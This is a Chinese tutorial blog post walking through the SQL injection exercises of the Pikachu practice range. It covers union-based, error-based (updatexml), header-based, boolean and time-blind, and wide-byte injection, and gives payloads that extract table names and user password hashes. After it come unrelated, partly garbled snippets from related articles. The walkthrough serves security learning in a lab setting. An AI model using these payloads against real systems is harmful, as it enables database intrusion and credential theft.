Pikachu靶场--Sql Inject
参考借鉴
pikachu靶场练习(详细,完整,适合新手阅读)-CSDN博客
数字型注入(post)
这种类型的SQL注入利用在用户输入处插入数值,而不是字符串。攻击者试图通过输入数字来修改SQL查询的逻辑,以执行恶意操作。
选择序号进行查询
在提交查询的同时BP抓包
右键-->发送给Repeater
判断为数字型注入,寻找注入点
拼接该语句,回显正常
id=3 order by 2
拼接该语句,回显报错,说明回显位为2
id=3 order by 3
拼接该语句,得到数据库名:pikachu,数据库版本:5.7.26
id=3 union select database(),version()
拼接该语句,得到pikachu库的表名
id=0 union select 3,group_concat(table_name) from information_schema.tables where table_schema=database()
拼接该语句,得到user表的字段名
id=0 union select 3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
拼接该语句,得到用户名和密码
id=0 union select username,password from users
成功获得用户名和密码,MD5解密即可
字符型注入(get)
字符型注入是通过在用户输入中注入恶意字符串来进行攻击。这些字符串可能包含SQL查询中的特殊字符或SQL语句的一部分,从而改变其原意。
输入username-->查询-->输入的内容被放到url
输入lili' 报错,输入lili'-- hello显示正常,判断为字符型 单引号闭合
输入该语句,回显正常
lili' order by 2-- hello
输入该语句,回显报错,说明回显位为2
lili' order by 3-- hello
输入该语句,得到数据库名:pikachu,数据库版本:5.7.26
lili' union select database(),version()-- hello
输入该语句,得到pikachu库的表名
lili' union select 1, group_concat(table_name) from information_schema.tables where table_schema = 'pikachu'-- hello
输入该语句,得到user表的字段名
lili' union select 1, group_concat(column_name) from information_schema.columns where table_schema = 'pikachu' and table_name = 'users'-- hello
输入该语句,得到用户名和密码
lili' union select username, password from users-- hello
成功获得用户名和密码,MD5解密即可
搜索型注入
这种注入利用在搜索表单或查询中输入的内容。攻击者可以通过搜索字段注入SQL代码,执行恶意查询或获取未授权信息。
同字符型注入(get)的做法一样,闭合方式也是' 只不过回显位为3
解题参照上文
lili' union select 1,database(),version()-- hello
xx型注入
同字符型注入(get)的做法一样,只不过闭合方式是')),回显位为2
解题参照上文
lili') union select database(),version()-- hello
insert/update注入
这种注入类型发生在INSERT或UPDATE语句中,攻击者通过恶意构造的数据插入或更新数据库,可能导致数据损坏、篡改或非预期的操作。
注册用户
注册用户的同时,BP抓包
右键-->发送给Repeater
拼接该语句,得到数据库名:pikachu
username=hello 'or updatexml(1,concat(0x7e,database()),1) or'
拼接该语句,数据库版本:5.7.26
username=hello 'or updatexml(1,concat(0x7e,(select @@version),0x7e),1) or'
拼接该语句,得到pikachu库的表名
用户名要是错的,才会执行报错函数,获取表名
username=0 'or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or'
拼接该语句,得到user表的字段名
username=0 'or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,31),0x7e),1) or'
拼接该语句,得到用户名和密码
username=0 'or updatexml(1,concat(0x7e,(select group_concat(username,password)from users limit 0,1),0x7e),1) or'
成功获得用户名和密码,MD5解密即可
delete注入
Delete注入是指攻击者利用恶意构造的输入来删除数据库中的数据,这种攻击可以极大地破坏数据库完整性。
写入一条留言
在删除留言的同时BP抓包-->发送给Repeater
发现有一个变化的id值,可能存在注入点,尝试用报错注入
BP的GET请求中输入sql语句时,空格用+代替,否则出错
拼接该语句,得到数据库名:pikachu
?id=61+or+updatexml+(1,concat(0x7e,database(),0x7e),1)+
拼接该语句,得到pikachu库的表名
?id=61+or+updatexml+(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='pikachu'),0x7e),1)+
拼接该语句,得到user表的字段名
?id=61+or+updatexml+(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema='pikachu'+and+table_name='users'),0x7e),1)+
拼接该语句,得到用户名和密码
?id=61+or+updatexml+(1,concat(0x7e,(select+group_concat(username,password)+from+users),0x7e),1)+
成功获得用户名和密码,
http header注入
这种类型的注入利用HTTP请求或响应头部中的输入来执行攻击。攻击者可以在头部中插入特定字符,从而影响服务器的处理逻辑或者进行信息泄露。
提示-->获取username和password
在登录的同时BP抓包
没发现注入点,但发现界面上的信息被BP抓取
右键-->发送给Repeater
因为User-Agent和Accept展示在界面中,所以可以修改这两处
以修改User-Agent为例:拼接该语句,得到数据库名:pikachu
'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'
拼接该语句,得到pikachu库的表名
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) or'
拼接该语句,得到user表的字段名
'or updatexml (1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'),0x7e),1) or'
拼接该语句,得到用户名和密码
'or updatexml (1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1) or'
成功获得用户名和密码,
以上以修改User-Agent为例,也可以修改Accept
盲注(base on boolian)
盲注是一种无法直接从响应中获取数据的注入攻击,攻击者通过发送特定的SQL查询,根据应用程序在查询结果中返回的布尔值(真或假)来推断数据库的结构和内容。
查询 lili' 不存在
查询 lili' -- hello,回显正常,判断为单引号闭合
拼接该语句,改变数字查看回显,得到数据库名字的长度:7
lili' and length(database())=7-- hello
拼接该语句,改变字母查看回显,得到数据库名字的第一个字母:p
lili' and substr(database(),1,1)='p'-- hello
拼接该语句,改变字母查看回显,得到数据库名字的第二个字母:i
lili' and substr(database(),2,1)='i'-- hello
猜测数据库名为:pikachu
lili' and substr(database(),1,7)='pikachu'-- hello
成功获得数据库名
接下来用同样的方法猜测表名
①用group_concat猜---费时
②写python脚本自己跑
③使用sqlmap自动注入工具
盲注(base on time)
基于时间的盲注是一种通过观察应用程序对恶意查询的响应时间来推断数据库的内容。攻击者可以发送一个查询,如果应用程序对其作出延迟响应,则说明条件成立。
拼接该语句,立马加载完毕(无效)
lili and sleep(5)-- hello
拼接该语句,5秒后加载完毕(有效),所以本题是单引号闭合
lili' and sleep(5)-- hello
拼接该语句,改变数字查看回显速度,得到数据库名字的长度:7
lili' and if (length(database())=7,sleep(5),1)-- hello
拼接该语句,改变字母查看回显,得到数据库名字的第一个字母:p
lili' and if(substr(database(),1,1)='p',sleep(5),1)-- hello
拼接该语句,改变字母查看回显,得到数据库名字的第一个字母:p
lili' and if(substr(database(),2,1)='i',sleep(5),1)-- hello
猜测数据库名为:pikachu
lili' and if(substr(database(),1,7)='pikachu',sleep(5),1)-- hello
成功获得数据库名
接下来用同样的方法猜测表名
①用group_concat猜---费时
②写python脚本自己跑
③使用sqlmap自动注入工具
宽字节注入
宽字节注入利用数据库在处理双字节编码(如UTF-8)时的特性来执行攻击。攻击者通过在输入中插入特定的宽字节字符,可能绕过常规的输入过滤机制,从而成功执行注入。
在提交查询的同时BP抓包
它和联合注入类似,只是要在内容后面添加%df
name=lili%df' or 1=1-- hello
拼接该语句,测试得到回显位的数量
name=1%df' union select 1,2-- hello
拼接该语句,得到数据库名:pikachu
name=1%df' union select 1,database()-- hello
拼接该语句,得到pikachu库的表名
name=1%df' union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()-- hello
拼接该语句,得到user表的字段名
name=1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1)-- hello
拼接该语句,得到用户名和密码
name=1%df' union select username,password from users-- hello
成功获得用户名和密码,
相关文章:

Pikachu靶场--Sql Inject
参考借鉴 pikachu靶场练习(详细,完整,适合新手阅读)-CSDN博客 数字型注入(post) 这种类型的SQL注入利用在用户输入处插入数值,而不是字符串。攻击者试图通过输入数字来修改SQL查询的逻辑,以执行恶意操作。…...

【Python从入门到进阶】59、Pandas库中Series对象的操作(二)
接上篇《58、Pandas库中Series对象的操作(一)》 上一篇我们讲解了Pandas库中Series对象的基本概念、对象创建和操作,本篇我们来继续学习Series对象的运算、函数应用、时间序列操作,以及Series的案例实践。 一、Series对象的运算 1. 数值型数据的算术运…...
【PYG】使用datalist定义数据集,创建一个包含多个Data对象的列表并使用DataLoader来加载这些数据
为了使用你提到的封装方式来创建一个包含多个 Data 对象的列表并使用 DataLoader 来加载这些数据,我们可以按照以下步骤进行: 创建数据:生成节点特征矩阵、边索引矩阵和标签。封装数据:使用 Data 对象将这些数据封装起来。使用 D…...
【设计模式】【创建型5-2】【工厂方法模式】
文章目录 工厂方法模式工厂方法模式的结构示例产品接口具体产品工厂接口具体工厂客户端代码 实际的使用 工厂方法模式 工厂方法模式的结构 产品(Product):定义工厂方法所创建的对象的接口。 具体产品(ConcreteProduct࿰…...

python API自动化(Pytest+Excel+Allure完整框架集成+yaml入门+大量响应报文处理及加解密、签名处理)
1.pytest数据参数化 假设你需要测试一个登录功能,输入用户名和密码后验证登录结果。可以使用参数化实现多组输入数据的测试: 测试正确的用户名和密码登录成功 测试正确的用户名和错误的密码登录失败 测试错误的用户名和正确的密码登录失败 测试错误的用户名和密码登…...
【Postman学习】
Postman是一个非常流行的API开发和测试工具,广泛用于Web服务的开发、测试和调试。它提供了一个图形界面,允许用户轻松地构建、发送和管理HTTP(S)请求,同时查看和分析响应。下面是对Postman接口测试工具的详细解释: 1. Postman简介…...

【Linux】IO多路复用——select,poll,epoll的概念和使用,三种模型的特点和优缺点,epoll的工作模式
文章目录 Linux多路复用1. select1.1 select的概念1.2 select的函数使用1.3 select的优缺点 2. poll2.1 poll的概念2.2 poll的函数使用2.3 poll的优缺点 3. epoll3.1 epoll的概念3.2 epoll的函数使用3.3 epoll的优点3.4 epoll工作模式 Linux多路复用 IO多路复用是一种操作系统的…...

IBCS 虚拟专线——让企业用于独立IP
在当今竞争激烈的商业世界中,企业的数字化运营对网络和服务器的性能有着极高的要求。作为一家企业的 IT 主管,我深刻体会到了在网络和服务器配置方面所面临的种种挑战,以及 IBCS 虚拟专线带来的革命性改变。 我们企业在业务扩张的过程中&…...
驾驭巨龙:Perl中大型文本文件的处理艺术
驾驭巨龙:Perl中大型文本文件的处理艺术 Perl,这门被亲切称为“实用提取和报告语言”的编程语言,自从诞生之日起,就以其卓越的文本处理能力闻名于世。在面对庞大的文本文件时,Perl的强大功能更是得到了充分的体现。本…...

Kafka~特殊技术细节设计:分区机制、重平衡机制、Leader选举机制、高水位HW机制
分区机制 Kafka 的分区机制是其实现高吞吐和可扩展性的重要特性之一。 Kafka 中的数据具有三层结构,即主题(topic)-> 分区(partition)-> 消息(message)。一个 Kafka 主题可以包含多个分…...

springcloud-config 客户端启用服务发现client的情况下使用metadata中的username和password
为了让spring admin 能正确获取到 spring config的actuator的信息,在eureka的metadata中添加了metadata.user.user metadata.user.password eureka.instance.metadata-map.user.name${spring.security.user.name} eureka.instance.metadata-map.user.password${spr…...
云计算 | 期末梳理(中)
1. 经典虚拟机的特点 多态(Polymorphism):支持多种类型的OS。重用(Manifolding):虚拟机的镜像可以被反复复制和使用。复用(Multiplexing):虚拟机能够对物理资源时分复用。2. 系统接口 最基本的接口是微处理器指令集架构(ISA)。应用程序二进制接口(ABI)给程序提供使用硬件资源…...

pytest测试框架pytest-order插件自定义用例执行顺序
pytest提供了丰富的插件来扩展其功能,本章介绍插件pytest-order,用于自定义pytest测试用例的执行顺序。pytest-order是插件pytest-ordering的一个分支,但是pytest-ordering已经不再维护了,建议大家直接使用pytest-order。 官方文…...

吴恩达机器学习 第三课 week2 推荐算法(上)
目录 01 学习目标 02 推荐算法 2.1 定义 2.2 应用 2.3 算法 03 协同过滤推荐算法 04 电影推荐系统 4.1 问题描述 4.2 算法实现 05 总结 01 学习目标 (1)了解推荐算法 (2)掌握协同过滤推荐算法(Collabo…...
MySQL CASE 表达式
MySQL CASE表达式 一、CASE表达式的语法二、 常用场景1,按属性分组统计2,多条件统计3,按条件UPDATE4, 在CASE表达式中使用聚合函数 三、CASE表达式出现的位置 一、CASE表达式的语法 -- 简单CASE表达式 CASE sexWHEN 1 THEN 男WHEN 2 THEN 女…...
Unity3D 游戏数据本地化存储与管理详解
在Unity3D游戏开发中,数据的本地化存储与管理是一个重要的环节。这不仅涉及到游戏状态、玩家信息、游戏设置等关键数据的保存,还关系到游戏的稳定性和用户体验。本文将详细介绍Unity3D中游戏数据的本地化存储与管理的技术方法,并给出相应的代…...

昇思25天学习打卡营第1天|初学教程
文章目录 背景创建环境熟悉环境打卡记录学习总结展望未来 背景 参加了昇思的25天学习记录,这里给自己记录一下所学内容笔记。 创建环境 首先在平台注册账号,然后登录,按下图操作,创建环境即可 创建好环境后进入即可࿰…...

ctfshow-web入门-命令执行(web59-web65)
目录 1、web59 2、web60 3、web61 4、web62 5、web63 6、web64 7、web65 都是使用 highlight_file 或者 show_source 1、web59 直接用上一题的 payload: cshow_source(flag.php); 拿到 flag:ctfshow{9e058a62-f37d-425e-9696-43387b0b3629} 2、w…...

Websocket在Java中的实践——最小可行案例
大纲 最小可行案例依赖开启Websocket,绑定路由逻辑类 测试参考资料 WebSocket是一种先进的网络通信协议,它允许在单个TCP连接上进行全双工通信,即数据可以在同一时间双向流动。WebSocket由IETF标准化为RFC 6455,并且已被W3C定义为…...
python请求报错::requests.exceptions.ProxyError: HTTPSConnectionPool
在发送网页请求时,发现很久未响应,最后报错: requests.exceptions.ProxyError: HTTPSConnectionPool(hostsvr-6-9009.share.51env.net, port443): Max retries exceeded with url: /prod-api/getInfo (Caused by ProxyError(Unable to conne…...

Docker 离线安装指南
参考文章 1、确认操作系统类型及内核版本 Docker依赖于Linux内核的一些特性,不同版本的Docker对内核版本有不同要求。例如,Docker 17.06及之后的版本通常需要Linux内核3.10及以上版本,Docker17.09及更高版本对应Linux内核4.9.x及更高版本。…...
React 第五十五节 Router 中 useAsyncError的使用详解
前言 useAsyncError 是 React Router v6.4 引入的一个钩子,用于处理异步操作(如数据加载)中的错误。下面我将详细解释其用途并提供代码示例。 一、useAsyncError 用途 处理异步错误:捕获在 loader 或 action 中发生的异步错误替…...
模型参数、模型存储精度、参数与显存
模型参数量衡量单位 M:百万(Million) B:十亿(Billion) 1 B 1000 M 1B 1000M 1B1000M 参数存储精度 模型参数是固定的,但是一个参数所表示多少字节不一定,需要看这个参数以什么…...

蓝牙 BLE 扫描面试题大全(2):进阶面试题与实战演练
前文覆盖了 BLE 扫描的基础概念与经典问题蓝牙 BLE 扫描面试题大全(1):从基础到实战的深度解析-CSDN博客,但实际面试中,企业更关注候选人对复杂场景的应对能力(如多设备并发扫描、低功耗与高发现率的平衡)和前沿技术的…...
Java多线程实现之Callable接口深度解析
Java多线程实现之Callable接口深度解析 一、Callable接口概述1.1 接口定义1.2 与Runnable接口的对比1.3 Future接口与FutureTask类 二、Callable接口的基本使用方法2.1 传统方式实现Callable接口2.2 使用Lambda表达式简化Callable实现2.3 使用FutureTask类执行Callable任务 三、…...

视频字幕质量评估的大规模细粒度基准
大家读完觉得有帮助记得关注和点赞!!! 摘要 视频字幕在文本到视频生成任务中起着至关重要的作用,因为它们的质量直接影响所生成视频的语义连贯性和视觉保真度。尽管大型视觉-语言模型(VLMs)在字幕生成方面…...
vue3 定时器-定义全局方法 vue+ts
1.创建ts文件 路径:src/utils/timer.ts 完整代码: import { onUnmounted } from vuetype TimerCallback (...args: any[]) > voidexport function useGlobalTimer() {const timers: Map<number, NodeJS.Timeout> new Map()// 创建定时器con…...

从零实现STL哈希容器:unordered_map/unordered_set封装详解
本篇文章是对C学习的STL哈希容器自主实现部分的学习分享 希望也能为你带来些帮助~ 那咱们废话不多说,直接开始吧! 一、源码结构分析 1. SGISTL30实现剖析 // hash_set核心结构 template <class Value, class HashFcn, ...> class hash_set {ty…...

NLP学习路线图(二十三):长短期记忆网络(LSTM)
在自然语言处理(NLP)领域,我们时刻面临着处理序列数据的核心挑战。无论是理解句子的结构、分析文本的情感,还是实现语言的翻译,都需要模型能够捕捉词语之间依时序产生的复杂依赖关系。传统的神经网络结构在处理这种序列依赖时显得力不从心,而循环神经网络(RNN) 曾被视为…...
3403. 从盒子中找出字典序最大的字符串 I
3403. 从盒子中找出字典序最大的字符串 I 题目链接:3403. 从盒子中找出字典序最大的字符串 I 代码如下: class Solution { public:string answerString(string word, int numFriends) {if (numFriends 1) {return word;}string res;for (int i 0;i &…...